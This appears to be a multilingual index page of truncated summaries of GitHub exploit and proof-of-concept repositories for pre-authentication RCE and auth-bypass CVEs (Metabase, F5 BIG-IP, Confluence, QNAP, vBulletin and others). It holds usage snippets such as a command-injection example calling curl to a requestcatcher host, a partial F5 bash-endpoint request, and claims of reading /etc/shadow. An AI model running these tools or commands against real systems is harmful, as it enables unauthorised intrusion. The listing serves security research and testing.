Airflow Experimental <1.10.11 - REST API Auth Bypass

Airflow's Experimental API prior 1.10.11 allows all API requests without authentication. id: CVE-2020-13927 info: name: Airflow Experimental 1.10.11 - REST API Auth Bypass author: pdteam severity: critical description: | Airflow's Experimental API prior 1.10.11 allows all API requests without...

beyondtrust-rce-scanner

CVE-2026-1731 — RCE pre-autenticación en BeyondTrust Remote Support y PRA Descripción general RCE crítico de pre-autenticación en BeyondTrust Remote Support y Privileged Remote Access. Un atacante remoto no autenticado puede ejecutar comandos del sistema operativo. Campo| Valor ---|--- CVE|...

cohort-htb

Cohort — writeup de HTB y cadena de explotación Máquina Cohort HackTheBox. Cadena de ataque completa: 1. SSRF en la API Flask /api/validate → descubrimiento de vhost interno 2. RCE pre-auth en el terminal WebSocket de Marimo 0.20.4 CVE-2026-39987 → shell como marimo 3. Escalada de privilegios...

tac_plus-pre-auth-rce

tacplus 预认证远程命令执行漏洞 本仓库包含关于不同开源 tacplus 实现中一个预认证远程命令执行漏洞的信息。以下两个分支受到影响： Shrubbery Networks tacplus Facebook tacplus 然而，这两个分支都基于一个 16 年 多前开源的 TACACS+ Cisco 开发工具包。该漏洞在开发工具包中早已存在，并被继承到了这两个项目中。需要说明的是，这项研究只关注了上述两个分支，可能还有其他分支也受到影响。 下图展示了各分支之间的关系，它们都受到影响： ----------------- | Cisco dev kit |...

CVE-2025-55182-poc

CVE-2025-55182 概念验证 React 服务端组件中的关键预认证远程代码执行漏洞 这是一个完整的概念验证，演示了 CVE-2025-55182——[email protected] 中的一个关键漏洞，允许未经身份验证的攻击者通过原型链污染执行任意代码。 快速开始 Clone the repository git clone https://github.com/whiteov3rflow/CVE-2025-55182-poc cd CVE-2025-55182-poc Exploit the server python3 exploit.py 'touch...

CVE-2019-11510-poc

CVE-2019-11510-poc Pulse Secure SSL VPN pre-auth 文件读取 参考 1. https://hackerone.com/reports/591295 2. https://github.com/projectzeroindia/CVE-2019-11510/blob/master/CVE-2019-11510.sh 3...

PKINITtools

PKINIT 工具 本仓库包含一些用于操作 PKINIT 和证书的实用工具。 这些工具基于 minikerberos 和 impacket 构建。相关的博客文章提供更多背景信息：https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/ 安装 这些工具仅兼容 Python 3.5+。从 GitHub 克隆仓库，安装依赖项即可使用： git clone https://github.com/dirkjanm/PKINITtools pip3 install impacket minikerberos...

ConfluentPwn

ConfluentPwn Confluence 预认证 ONGL 注入远程代码执行扫描器 CVE-2022-26134。 使用方法 下方 GIF 展示了工具的使用演示： 以下是工具的帮助输出： $ ./cfscan -h +-------------------------------+ | C O N F L U E N T P W N | +-------------------------------+ + ConfluentPwn by RedHunt Labs - A Modern Attack Surface ASM Management Company + 作者: Pina...

ldapdomaindump

LDAPDomainDump 通过LDAP转储Active Directory信息 简介 在Active Directory域中，任何经过身份验证的用户（或计算机）都可以通过LDAP检索大量有趣的信息。这使得LDAP成为内网渗透测试信息收集阶段中一个非常有用的协议。问题在于，LDAP数据通常不易以易于阅读的格式获取。 ldapdomaindump 是一款旨在解决该问题的工具，它通过收集和解析可通过LDAP获取的信息，并将其输出为人类可读的HTML格式，以及机器可读的JSON和CSV/TSV/greppable文件。 该工具的设计目标如下： 轻松概览域中所有用户/组/计算机/策略...

CVE-2018-16763

CVE 2018-16763 漏洞利用 简介 FUEL CMS 1.4.1 预认证远程代码执行（PreAuth-RCE） 演示 参考： https://nvd.nist.gov/vuln/detail/CVE-2018-16763 https://www.exploit-db.com/exploits/47138...

watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428

CVE-2025-4427 和 CVE-2025-4428 Ivanti EPMM 漏洞链 Ivanti EPMM 预认证 RCE 漏洞链 1day 检测工件生成工具 检测演示 $ python3 watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428.py -H https://192.168.1.100 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / /...

cve-2026-39987

cve-2026-39987 Instalación • Uso • Ejemplos Solo estoy probando Go :D Por cierto: CVE-2026-39987 PoC: Marimo:PORT/terminal/ws REDACTED@REDACTED:$ uname -a Linux ... REDACTED@REDACTED:$ exit exit INF:normalclose websocket: close 1000 normal: Terminal session ended Comando personalizado -c:...

CVE-2023-38646

CVE-2023-38646 Metabase 预认证远程代码执行 2023年11月26日 Metabase 开源版 0.46.6.1 之前版本以及 Metabase 企业版 1.46.6.1 之前版本允许攻击者以服务器权限级别在服务器上执行任意命令。利用该漏洞无需身份认证。其他已修复的版本包括 0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2 和 1.43.7.2。 该漏洞存在于应用程序暴露的 setup-token 中，该 token 可用于 api/setup/validate 接口验证数据库。未授权用户可以创建恶意代码并执行任意命令。 免责...

CVE-2023-38646

CVE-2023-38646 针对 Metabase RCE 漏洞 CVE-2023-38646 的自动化工具。更多信息（POC、Dork）请访问 https://secry.me/explore/news/metabase-rce-cve-2023-38646/ 如何使用 single.py python3 single.py --url=http://127.0.0.1:8080 --command="curl sub.requestcatcher.com/some-endpoint" 或 python3 single.py -u http://127.0.0.1:8080 -c...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 F5 BIG-IP iControl REST 认证绕过远程代码执行。 POST /mgmt/tm/util/bash HTTP/1.1 Host: Accept-Encoding: gzip, deflate Accept: / Connection: close, X-F5-Auth-Token, X-Forwarded-For, Local-Ip-From-Httpd, X-F5-New-Authtok-Reqd, X-Forwarded-Server, X-Forwarded-Host Content-type:...

CVE-2019-7192_QNAP_Exploit

QNAP Pre-Auth Root RCE CVE-2019-7192 CVE-2019-7195 漏洞利用工具 目前，您可以读取系统文件（/etc/shadow、SSH私钥等）。 使用方法： pip install -r requirements.txt or just pip install requests python3 gundy.py https://vulnerableurl:port 示例输出 漏洞详情 这些漏洞可以组合成预认证的root RCE攻击链，更多详情请访问以下链接： CyCraft 分析文章 QNAP 安全公告...

CVE-2023-25136

OpenSSH 预认证双重释放 CVE-2023-25136 POC 此仓库包含一个使用 Python 的 Paramiko 库检查 OpenSSH 预认证双重释放漏洞（CVE-2023-25136）的概念验证（POC）脚本。 先决条件 在运行此 POC 脚本之前，请确保您已安装以下依赖项： Python 3.x Paramiko 库 termcolor 库 argparse 库 您可以使用 pip 安装所有依赖项： pip install -r requirements.txt 用法 要检查单个 IP 地址的漏洞，请使用 -i 选项运行脚本，后跟 IP 地址： python...

vbulletin-exploits

vbulletin-exploits Exploits dirigidos a vBulletin. CVE-2023-25135: RCE pre-autenticación Ver: https://www.ambionics.io/blog/vbulletin-unserializable-but-unreachable ./vbulletin-rce-cve-2023-25135.py --help Usage: vbulletin-rce-cve-2023-25135.py -h -p PROXY url command Exploit for CVE-2023-25135:...

CVE-2023-29357

在ChatGPT的大量帮助下，用C复现了CVE-2023-29357的SharePoint PoC。 使用Visual Studio 2017以.NET 4.7.2版本构建。 使用NuGet包管理器安装任何缺失的包。 Yara检测规则如下： 用法： CVE-2023-29357.exe https://yoursharepoint.lol -v 特别感谢： Jang 在漏洞利用步骤的解释和他的精彩文章上给予了很大支持：...

typehub-exploiter

typehub-exploiter GILANG - CVE-2021-25094 漏洞利用工具 参考：https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ payload：site.com/wp-admin/admin-ajax.php 漏洞路径：site.com/wp-content/uploads/typehub/custom/ 感谢：Ibnudz、Dark clown security 致敬：Garuda Tersakti 72. Buitenzorg Syndicate...